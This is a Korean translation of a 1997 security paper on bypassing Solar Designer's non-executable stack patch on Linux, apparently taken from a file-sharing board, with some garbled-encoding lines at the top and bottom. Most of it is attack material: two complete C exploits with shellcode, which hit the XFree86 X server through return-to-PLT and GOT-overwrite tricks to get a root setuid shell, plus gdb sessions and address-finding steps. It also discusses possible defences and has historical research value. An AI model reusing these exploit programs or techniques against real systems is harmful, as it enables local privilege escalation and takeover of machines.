ºñ ½ÇÇà ½ºÅà ±Øº¹
¼¼¹ú½_ºñ_½ÇÇà_½ºÅÃ_±Øº¹.doc (89.0K), Down : 4, 2017-07
¼¼¹ú½_ºñ_½ÇÇà_½ºÅÃ_±Øº¹.pdf (134.9K), Down : 4, 2017-07
비 실행 스택 극복
+---------------------------------------------------------------+
원문서 제 목 : Defeating Solar Designer's Non-executable Stack Patch ]=-
원문서 저 자 : Rafal Wojtczuk ( nergal icm edu pl )
원문서 작성일 : 1997. 08. 10.
문 서 번역일 : 2003. 07. 29
문 서 번역자 : 광주광역쉬에서 세벌쉭
코 멘 트 : 본 번역본은 순전히 개인적인 호기심에서 번역한 것이다.
조금이라도 의심스러운 해석은 원문서를 참조하기 바란다.
오자, 탈자, 오역이 존재하는 초벌 번역임을 참고하시기 바란다.
+---------------------------------------------------------------+
비 실행 스택의 극복
Section I. Preface
제목에 언급되어진 패치는 이미 우리들이 가지고 있는것이다. 의심할바없이 그것은 공격자들이 해킹 스크립트를 사용하는 것을 방지한다. 그것은 리눅스 커널을 강화하는 의미로서 지금막 발표된 프랙 52호에 포함되어져 있다. 그러나 나는 이패치를 확실히 쉽게 통과할 수있는 적어도 2가지의 일반적인 방법을 가지고있다(실행가능 스택을 취급한는 부분을 말하고있다.). 나는 섹션 5에서 자세히 설명 할 것이다.
계속하기전에, 리턴 투 라이브러리 익스플로잇에 관한 디자이너의 훌륭한 문서를 다시 한번 상기할 것을 제안하는 바이다. 여러분은 그것을 http://www.geek-girl.com/bugtraq/1997_3/0281.html 에서 발견 할 수 있을 것이다.
"만일 여러분이 리눅스를 사용하고 있지 않다고 할지라도, 여기에 언급되어진 것들이 다른 시스템상에서 유용한 것들이기 때문에 나는 여러분이 전체 메시지를 읽어보기를 추천하는 바이다. "
--솔라 디자이너의 문서중에서 언급한 내용 발췌.
디자이너의 패치문서에 소개되어진것들은 충분한 가치가 있는 것들이다.(완벽한 패키지는 http://www.false.com/security/linux-stack 에서 받을 수 있다.) 다음에 나오는 모든 코드들은 디자이너의 패치가 적용되어진 2.0.30 커널을 운영하는 레드헷 4.2 상에서 테스트 되어졌다.
Section II. A few words about ELF implementation
다음의 proggie.c 를 컴파일하고 디스어셈블해보자.
main() {
strcpy(0x11111111, 0x22222222);
}
$ gcc -o proggie proggie.c
...수많은 경고들...
$ gdb proggie
GDB is free software and you are welcome to distribute copies of it...
(gdb) disass main
Dump of assembler code for function main:
0x8048474 <main>: pushl %ebp
0x8048475 <main+1>: movl %esp,%ebp
0x8048477 <main+3>: pushl $0x22222222
0x804847c <main+8>: pushl $0x11111111
0x8048481 <main+13>: call 0x8048378 <strcpy>
0x8048486 <main+18>: addl $0x8,%esp
0x8048489 <main+21>: leave
0x804848a <main+22>: ret
0x804848b <main+23>: nop
End of assembler dump.
보는바와 같이, strcpy 호출은 라이브러리 함수가 아닌 text 세그먼트를 때린다. (디자이너의 패치가 적용되어졌을때, libc 함수들은 0x00로 시작하는 주소들을 가진다.)
(gdb) disass strcpy
Dump of assembler code for function strcpy:
0x8048378 <strcpy>: jmp *0x80494d8
0x804837e <strcpy+6>: pushl $0x0
0x8048383 <strcpy+11>: jmp 0x8048368 <_init+8>
End of assembler dump.
(gdb) printf "0x%x\n", *0x80494d8
0x804837e
0x08048378 에서 시작하는 코드는 프로시져 링키지 테이블(PLT)의 한 부분이다.
처음에, 0x080494d8 에 저장되어진 정수(전역 옵셋 테이블의 멤버, GOT)는 다음 명령의 주소(여기서는 strcpy+6)를 포함하고 있다. 프로시져가 처음에 호출되어질때, 동적 링커는 제어권을 공유 라이브러리 이미지 안에 있는 적당한 위치로 변경하는 것에 관여를 하게 된다. 링커는 라이브러리 함수 주소들을 *0x080494d8 안에 저장한다. 그래서 다음번에 strcpy 가 호출되어질때 jmp *0x080494d8 명령은 libc 안에있는 올바른 부분을 즉각적으로 취할수 있을 것이다.
앞의 문단은 게으른 링킹(이것은 디폴트 행동이다)이 수행되어질때 올바르다. 환경변수 LD_BIND_NOW 을 세팅함으로서, 제어권이 main 함수에 도달하기전에 링커가 모든 프로시져들을 바인딩 하도록 할수 있다.
내용을 완전히 제거하는 이러한 구절은 이 문서의 목적을 위해서 충분하다. 당신은 ftp://tsx.mit.edu/pub/linux/packages/GCC/ELF.DOC.tar.gz(이것은 elf.hps 파일을 포함하고 있다) 에서 ELF 규정의 완전한 문서를 발견 할 수 있을 것이다.
Section III. A flaw no 1 - PLT entries
중요한 사실은 직접적으로 libc 함수들을 호출하지 말아야 한다는 사실이다. 만일 취약 프로그램이 공유 라이브러리에 있는 프로시져를 사용한다면, text 세그먼트는 우리가 악용 할 수 있는 적당한 프로시져 링키지 테이블 엔드리를 가질 것이다. 예를들면, lpr 프로그램이 "system"함수를 사용한다면, 그래서 솔라 디자이너의 lpr 에관한 익스플로잇은 훌륭하게 작업을 해낸다:
libc 안에서 "system"을 발견하는 대신에, 우리는 plt 엔트리를 사용할 수 있다.(문자열 "/bin/sh"은 환경이나 argv 에 감춰진체로 프로그램 안으로 몰래 가지고 들어 갈 수 있다.) 하지만 이와 같이 하는 것 보다 더 나쁜 방법이 있다.
Section IV. A flaw no 2 - executable data segments
/proc/pid/maps 에 저장되어진 정보는 .... 음.... 항상 정확하지는 않다. 데이타 세그먼트에 있는 코드는 실행되어 질수 있다. 만일 여러분이 mprotect(..., ...., PROT_READ) 호출을 한다고 할지라도 말이다.
사실, it can be bare PROT_WRITE orPROT_EXEC as well; 표준 쉘코드는 작동하지 않을 것이다. 왜냐하면 그것은 자신을 수정하고( segfault when PROT_READ|PROT_EXEC ) 그리고 그것의 바디내부에 위치해있는 아규먼트들을 커널로 전달할것이다(단지 PROT_WRITE 가 적용되어질때, 커널 함수 영역 확인은 실폐할 것이다). 이것은 작동하는 쉘코드를 작성하는데 사소한것이다.
어째뜬, 데이타 세그먼트는 rw 이다(malloc 되어지는 데이타가 rwx 라고 할지라도), 그래서 표준 쉘코드는 작동할것이다.
충격 : 만일 쉘코드가 데이타 세그먼트에 복사되어진다면 우리는 제어권을 쉘코드로 변경 할수 있다. 가끔 프로그램은 우리들이 그것을 할수 있도록한다; 하지만 사실, 자동 데이타 내부에 버퍼 오버플로가 관련되어질때, 우리는 어떤 부수적인 보조들이 필요하지 않는다.
Section V. Exploit no 1
이문서의 나머지부분에 대해서, 우리가 공격하는 나는 취약 프로그램이 strcpy 또는 spritf를 사용한다고 가정한다. 99 퍼센트가 그러한 함수들을 사용한다; 만일 어떤것이 취약하다면, 오묘하게도 그것은 그러한 함수들을 사용한다. 나는 strcpy 함수를 사용할것이다; sprintf(dest, src) 는 src 아규먼트안에 % 와 \를 아무것도 제공되어지 않는 것과 동일하게 작동한다.
우리의 예제 타켓은 XF86 Xserver 가 될것이다; 이 경우에 있어서 오래전에 버그트랙에서 논의되어졌다. 여러분은 그곳에서 자세한것을 발견할 수 있을 것이다.
익스플로잇은 다음과 같다: 우리는 다음과 같은 패턴으로 버퍼를 채울것이다.
------------------------------ <------------- stack grows this way
| STRCPY | DEST | DEST | SRC |
------------------------------ memory addresses grow this way ------->
STRCPY는 strcpy PLT 엔트리의 주소가 있는 곳이다.
DEST는 우리가 쉘코드를 위치시킬 데이타 세그먼트 안에있는 위치이다.
SRC는 쉘코드를 포함하고 있는 환경변수를 가르킨다.
우리는 STRCPY 필드를 가지고 있는 스택상에 리턴 주소를 덮어 쓰기를 원한다; 그래서 strcpy는 쉘코드를 DEST에 복사하게 될것이다. strcpy로 부터의 ret 명령은 첫번째 DEST를 팝 할 것이다, 그리고 제어권은 그곳으로 전달되어질 것이다.
몇가지 정보를 얻어보자. 우리는 X 서버의 non-suid 복사본이 필요할 것이다; 만일 여러분의 시스템 상에서 rws--x--x 모드를 가진다면, 여러분은 www.redhat.com 으로 부터 그것을 얻을 수 있을 것이다. 그리고 즐기시기를... 물론 그것은 정확히 동일한 버전이어야만 할 것이다.
$ gdb myX
... lots of stuff ...
(gdb) p strcpy
$1 = {<text variable, no debug info>} 0x8066a18 <strcpy> <-- 우리가 필요한 첫번째 수자
(gdb) b main
Breakpoint 1 at 0x80df5e8
(gdb) r
Starting program: myX
warning: Unable to find dynamic linker breakpoint function.
warning: GDB will be unable to debug shared library initializers
warning: and track explicitly loaded dynamic code.
(no debugging symbols found)...(no debugging symbols found)...
(no debugging symbols found)...(no debugging symbols found)...
Breakpoint 1, 0x80df5e8 in main ()
다른 윈도우에서(1515 는 X 서버의 pid 이다.)
$ cat /proc/1515/maps
00110000-00115000 rwxp 00000000 03:07 20162
00115000-00116000 rw-p 00004000 03:07 20162
00116000-00117000 rw-p 00000000 00:00 0
00118000-0011e000 r-xp 00000000 03:07 20171
0011e000-00120000 rw-p 00005000 03:07 20171
00120000-00122000 rwxp 00000000 03:07 20169
00122000-00123000 rw-p 00001000 03:07 20169
00123000-001b6000 r-xp 00000000 03:07 20165 <-- libc 는 여기에 맵되어져 있다.
001b6000-001bc000 rw-p 00092000 03:07 20165
001bc000-001ee000 rw-p 00000000 00:00 0
08048000-08223000 r-xp 00000000 03:07 50749
08223000-08230000 rw-p 001da000 03:07 50749 <-- 여기에 데이타가 존재한다.
우리의 두번째 수자가 발견되어진다.
08230000-08242000 rwxp 00000000 00:00 0 <-- these addresses would do as well
bfffe000-c0000000 rwxp fffff000 00:00 0 <-- and these wouldn't ;)
BTW, if you execute
$ ls -i /lib/libc.so.5.3.12
20165 /lib/libc.so.5.3.12
그리고 맵 파일의 내용을 보아라, libc가 맵되어진 곳을 볼수 있을 것이다; 우리는 두번째 익스플로잇을 위한 이 정보의 조각이 필요하다.
마지막 힌트 - X 서버는 그 자신의 목적을 위해서 파일 디스키립터 0번을 사용한다, 그래서 루트 쉘의 자식을 만드는 대신에 우리는 /tmp/qq(bash 의 루트 suid 복사를 만드는) 에 있는 프로그램을 실행 할 것이다.
이제 gdb 세션을 죽이고, 다음을 컴파일 하고 실행하라.
//=========================================================================
/*nergal icm edu pl 가 작성한 솔라 디자이너의 패치를 위한 익스플로잇 번호 1번이 코드는 교육과 즐기려는 목적으로만 의미가 있다. 제공되어진 권한으로만 자유롭게 배포할 수 있다.*/
#include <stdio.h>
/* 만일 코드가 작동하지 않는다면 다음의 0을 변경하기 바란다. */
#define OFFSET 0
#define BUFFER_SIZE 370
#define EGG_SIZE 2048
#define NOP 0x90
/* 데이타 세그먼트 안에 있는 아무 주소 */
#define DEST 0x08223038
/* strcpy 링키지 테이블 엔트리 */
#define STRCPY 0x08066a18
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/tmp/qq";
char buf[BUFFER_SIZE];
char egg[EGG_SIZE];
char pattern[16];
void main(int argc, char **argv) {
/* 3..18 안에서 얼라인먼트를 적용한다; 나의 경우 3에서 작동했다.*/
int i, align = 3;
int src = (int) &src - OFFSET; /* 공식적으로 get_sp() 로 알려져 있다. */
if (argc == 2)
align = atoi(argv[1]);
*(int *) pattern = STRCPY;
*(int *) (pattern + 4) = DEST;
*(int *) (pattern + 8) = DEST;
*(int *) (pattern + 12) = src;
for (i = 0; i <= 15; i++)
if (pattern[i] == 0) {
printf("zero in pattern (%i)\n", i);
exit(1);
}
memset(buf, ' ', BUFFER_SIZE);
buf[BUFFER_SIZE - 1] = 0;
buf[0] = ':';
buf[1] = '9';
for (i = align; i < BUFFER_SIZE - 16; i += 16)
memcpy(buf + i, pattern, 16);
memset(egg, NOP, EGG_SIZE);
strcpy(egg + EGG_SIZE - strlen(shellcode) - 2, shellcode);
strncpy(egg, "EGG=", 4);
putenv(egg);
execl("/usr/X11R6/bin/X", "X", buf, "-nolock", 0);
perror("execl");
}
/* end of exploit no 1 */
//===================================================================
디자이너의 익스플로잇에서, 쉘은 "system" 호출을 사용해서 불리워진다. 실행이 끝난다음에 스택상으로 리턴한다(그리고 세그먼트 폴트). 이것은 익스플로잇 시도가 기록되어지는 것을 야기한다. 익스플로잇 번호 1에서 우리는 execve를 사용해서 우리의 코드를 실행할 것이다, 그리서 모든것은 깨끗하고 만족 스럽다.
Section VI. Any solutions ?
이것은 산뜻하게 보이지 않는다, 그렇죠 ? 다시 , 임의 코드가 실행 되어질수 있다. 우리가 무엇을 할수 있는가 ?
첫번째 아이디어는 커널을 패치해서 데이타 세그먼트에있는 명령들을 실행 할수가 없다는 것이다. 솔라 디자이너의 패치는 코드가 스택상으로 리턴하는지를 판단하기 위해서 (retaddr & 0xF0000000) == 0xB0000000 라는 비교를 간단하게 실행한다; 만일 우리가 데이터 세그먼트 안으로 리턴하게 된다면, 이러한 검사는 단지 시간을 소비할 뿐이다. 어째든, 여기서 우리는 잘못된 나무를 짖고 있는것이다. 만일 우리가 간단한 system("/tmp/evilcode") 호출로 만족한다면, 우리는 전혀 실행가능 데이타 세그먼트가 필요가 없는것이다. 익스플로잇 번호 2번이 당신을 위해
기다리고 있다. 명확히, 가끔 당신은 "system"을 호출하기전에 setuid(0) 또는 fcntl(fd SET_FD,0)을 호출할 필요가 있다. 하지만 일반적인것은 아니다.
Section VII. PLT reapears.
우리는 버퍼를 다음 패턴으로 채울 것이다.
-----------------------------------------
| STRCPY | STRCPY | PLTENT-offset | SRC |
-----------------------------------------
STRCPY 는 다시 strcpy를 위한 PLT 엔트리이다.
PLTENT 는 strcpy PLT 엔트리(proggie.c 예제에서 그것은 0x080494d8이다)에의해서 참조되어지는 GOT 안에 있는 정수 주소이다.
SRC 는 env 변수에 대한 포인터이다.
어떻게 작동하는가 ? 우리는 첫번째 STRCPY 가 있는 리턴 저장소를 때릴 필요가 있다. SRC 내용은GOT 엔트리를 덮어 쓸것이다. 그래서 libc "system" 프로시져의 주소를 포함할 것이다. STRCPY 안으로 두번째 리턴은 "system"(왜야하면 jmp *gotentry 명령은 우리가 변경해 놓은 메모리안에 있는 위치를 참조할 것이다)을 아규먼트 SRC 와 함께 실행할 것이다.
여기서는 확실한 정확성이 요구되어진다. 왜냐하면 우리는 내부 구조체를 통해서 링커를 덮어 쓰기 때문이다. 첫번째, SRC 유효한 파일 이름이어야만한다.(예를들면, /tmp/xxxx 로 시작하는) SRC 의 마지막 3바이트는 "system" 프로시져 주소의 하위 3바이트여야만한다. 제로로 종료되는 SRC는 주소를 완성할것이다. 두번째, 우리는 SRC의 정확한 주소를 필요로한다. - src=&src는 확실하게 충족시키지 않을 것이다.
그래서, 우리는 정보를 모으기를 시작해보자. 우리는 이미 STRCPY를 가지고 있다; GOT 정수를 얻기 위해서 우리는 gdb로 strcpy를 디스어셈블해볼 필요가 있다(예를 들면, proggie.c 에서와 같이). /proc/pid/maps 로 부터 우리는 libc 가 맵되어져 있는 곳의 주소를 추출할 수 있다; system 주소를 계산하기 위해서 우리는 libc 안에서 그것의 옵셋을 더할 필요가 있다.
$ nm /lib/libc.so.5.3.12 | grep system
0007ec7c T svcerr_systemerr
00081d7c T system <---- 우리가 필요로 한는 수자.
이제 우리는 다음 코드를 컴파일하자.(/tmp/qq는 setuid 쉘을 만드는 프로그램이거나 euid 0 을가지고 할수있는 유용한 어떤 것이다.)
//=========================================================================
/* nergal icm edu pl 가 제작한 솔라 디자이너 패치를 위한 익스플로잇 번호 2번이 코드는 교육 과 즐기는 목적으로서만 의미를 가지고 있다. 여러분은 제공되어진 권하으로 자유롭게 배포할 수 있다.*/
#include <stdio.h>
#define BUFFER_SIZE 370
#define EGG_SIZE 100
#define STRCPY 0x08066a18
#define PLTENT 0x0822f924
#define SYSTEM (0x00123000+0x81d7c)
#define SRC 0xbfffffe6
char buf[BUFFER_SIZE];
char egg[EGG_SIZE];
char pattern[16];
char prefix[] = "/tmp/xxxxxxx";
char path[200];
char command[200];
void main(int argc, char **argv) {
int i, align = 3;
char *envs[2] = {egg, 0};
if (argc == 2)
align = atoi(argv[1]);
*(int *) pattern = STRCPY;
*(int *) (pattern + 4) = STRCPY;
*(int *) (pattern + 8) = PLTENT - strlen(prefix);
*(int *) (pattern + 12) = SRC;
for (i = 0; i <= 15; i++)
if (pattern[i] == 0) {
printf("zero in pattern (%i)\n", i);
exit(1);
}
if (!(SYSTEM & 0x00ff0000) || !(SYSTEM & 0x0000ff00) || !(SYSTEM & 0x000000ff)) {
printf("zero in system\n");
exit(1);
}
memset(buf, ' ', BUFFER_SIZE);
buf[BUFFER_SIZE - 1] = 0;
buf[0] = ':';
buf[1] = '9';
for (i = align; i < BUFFER_SIZE - 16; i += 16)
memcpy(buf + i, pattern, 16);
strcpy(path, prefix);
*(int *) (path + strlen(path)) = SYSTEM;
sprintf(egg, "EGG=%s", path);
sprintf(command, "cp /tmp/qq %s", path);
system(command);
execle("./qwe", "X", buf, "-nolock", 0, envs);
perror("execl");
}
/* end of exploit no 2 */
//===========================================================================
코드를 읽어 보았는가 ? 좋다. ./qwe 는 무엇을 위한 것인가 ? 바로 그렇다. 우리는 메모리안에 있는 /tmp/xxxxxxxsomething 의 정확한 주소가 필요하다. 그래서, 먼저 ./qwe 를 다음 프로그램에 대한 심볼릭 링크로 만든다:
//===========================================================================
/* envi.c - env 변수의 주소를 출력한다. */
#include <stdio.h>
extern char ** environ;
main() {
char ** p=environ;
printf("environ=0x%x\n",p);
while (*p) {
printf("0x%x %s\n",*p,*p);
p++;
}
}
/* end of envi.c */
//===========================================================================
이제, 익스플로잇 번호 2번을 실행하라. EGG 안에있는 /tmp/xxxxsomething 의 주소를 입력함을 유의하라(EGG= 의 주소가 아니라 /tmp/xxxx...의 주소이다; 여러분은 envi.c 가 생산하는 번호에 strlen("EGG=") 를 더해야만한다. 익스플로잇 안에 있는 SRC 의 값을 올바르게 하라. /usr/X11R6/bin/X 에 대한 ./qwe 심볼링크를 만들라. 다시 익스플로잇을 실행하라. 이게 전부다.
우리가 "system"을 사용하기 때문에, 실행되어질 바이너리(/tmp/xxxxsomethin...)의 이름은 우리의 "path" 변수에 삽입할 것과 정확하게 일치할 필요는 없다. 나의 경우에, 옵셋 13에 쉘을 위한 특별한 문자인 '|'문자가 포함되었다. 그래서 "system"은 /tmp/xxxxxxx 을 실행을 시도해서 X 서버를 빠져 나갔다. 성공했다. - 우리는 물론 /tmp/xxxxsomething을 "system"을 사용해서 /tmp/qq의 복사본을 만든다. 그래서 결과는 우리는 원한는 것이다.
"system" 호출 후에 프로그램은 세그먼트 폴트를 발생한다; 하지만 제어권은 스택상 (GOT 안으로)으로 리턴되어 지지 않기 때문에 익스플로잇 시도는 기록되어지지 않는다.
Section VIII. More Feeble Screams From The Forests Unknown
비 실행 스택에 맞서는 다른 방법들이 있다. 다음 시나리오를 고려해보자. 오버플러를 포함고있는 잘못된 코드는 strcpy가 호출되어지는 스택상에 바로 그 동일한 위치를 덮어쓰는 strcpy를 실행하는 것으로 끝난다. 결과로서 형성되어진 스택은 다른 strcpy를 계속해서 실행 할 수 있을 것이다.
첫번째 strcpy 실행전의 스택
-------------------------------------------------------------------------
| junk|junk | src1 | dest1 | junk | STRCPY| some junk |
-------^----------------|------------------------------------------------
| | ^
-----------------| |
%esp
첫번째 strcpy 가 리턴하기 바로 전의 스택
--------------------------------------------------------------------------
|junk | src2 |dest2| junk | STRCPY| | evil code 0-terminated |
--------------------------------------------------------------------------
^
|
%esp
0으로 끝나는 어떤 임의의 바이트들을 스택상에 복사하는 방법이다. 이 작업을 반복적으로 함으로써,우리는 제로를 포함하는 어떤 패턴을 스택상에 넣을 수가 있다. 만일 우리가 다음과 같은 일을 수행하는 조각을 텍스트 세그먼트 또는 코드의 어떤 라이브러리 조각에서 발견할 수 있다면.
subl $something, %esp
ret
%esp 는 우리가 만들어논 패턴안아로 위치되어질 것이다. 그래서 우리는 setuid, mprotect 등의 어떤 라이브러리 함수를 사용 할 수 있다.
Section IX. Local vs remote exploit
코드의 이들 두 조각은 로컬이다. 첫번째 것의 아이디어는 리모트 익스플로잇으로 구체화 되어질수 있다; 우리가 필요로하는 모든 것은 조사하기위해서 필요한 공격당하는 프로그램의 복사본이다.
심지어는 그것의 모든 가능한 버전들이 해커에의해서 시도 되어질수 있다. 두번째 것은 모든 것을 복잡하게 하는 매우 고수준의 정확성을 요구한다; 우리가 역시 언급하지 않은
a) 리모트 머신상에서 사용되어진 libc 버전을 알기위해서 필요하다.
b) 임의의 접미사와 함께 거기에 실행가능 파일들을 만들수 있어야 한다. ( anonftp uploads spring to mind )
Section X. Any solutions – continued
만일,
a) 실행되어지는 것으로부터 데이타 세그먼트를 보호할수 있다면,
b) 우리가 GOT를 기록가능하지 않도록 mprotect 하기위해서 LD_BIND_NOW가 인에이블 되도록 강요한다면 - 동적 링킹 처럼, 익스플로잇은 실폐할 것이다. 그러나, 이 아이디어를 확신할 수없다.
아직 알려지지 않은 잠재적 위험성을 가지고 있는 수많은 라이브러리 함수들이 PLT 를 통해서 호출되어 질수 있다; 예를들면, memccpy 는 언급할만한 가치가일다. 그것은 우리가 영들을 포함하는 메모리 블럭들을 복사할수 있도록 한다.
최고의 해결책은 텍스트 세그먼트(PLT 와 GOT를 동반하는)를 16MB 경계 아래에 mmap 시키는 것일 것이다. 하지만 그것은 불가능하다, 그렇죠 ? 프로그램의 코드는 위치 독립적인것이 아니다.
그것은 아마도 링커의 문제이다, 하지만 만을 우리가 가장 하위 16MB 안에 PLT를 mmap 할수 있다면, 나의 두 익스플로잇은 실폐할것이다. 하지만, 우리는 프로그램의 몸체 안에 위치할수 있는 "system 호출" 명령을을 여전히 사용 할수 있다.
Section XI. Closing unrelated bubbling
나는 이문서와 관련된 어떠한 건설적인 언급을 환영한다; 내가 이 문서를 작성하면서 즐긴만큼의 적어도 반만이라도 이 문서를 읽으면서 즐기기를 희망한다....
"그것이 지금 바라는 전부이다. 버퍼 오버플로우를 익스플로잇하는것이 예술이라는 것을 증명하기위해서 취급한다는 것을 바란다." 앞어서 언급된어진 솔라 디자이너의 문서 중에서...
만일 여러분이 나에게 어떤 보안 또는 리눅스 관련된 잡을 주어도 되겠다는 것을 여러분이 발견한다면, 그래서 어떤 둔화된 활동으로서 살아가도록 나에게 돈벌 기회를 줄려면 나에게 알려 달라.
Negal 로부터의 다른 것들이 곳 나올것이다; 다음번에는 더 유용한 어떤 것일것이다. 바라보는 관점에따라서는 말이다. 가치를 즐기는것을 계속 간직하고 있기를
Nergal
½ºÅà ¿À¹öÇ÷Π°ø°Ý±â¹ýÀ» ¼³¸íÇÏ´Â ¹®¼Àϵí
¿À·¡µÇ¼ °¡¹°°¡¹°~~
Loop (°ø°Ý¤Ñ¹æ¾î¤Ñ»õ·Î¿î ±â¹ý¤Ñ´Ù½Ã ¹æ¾î)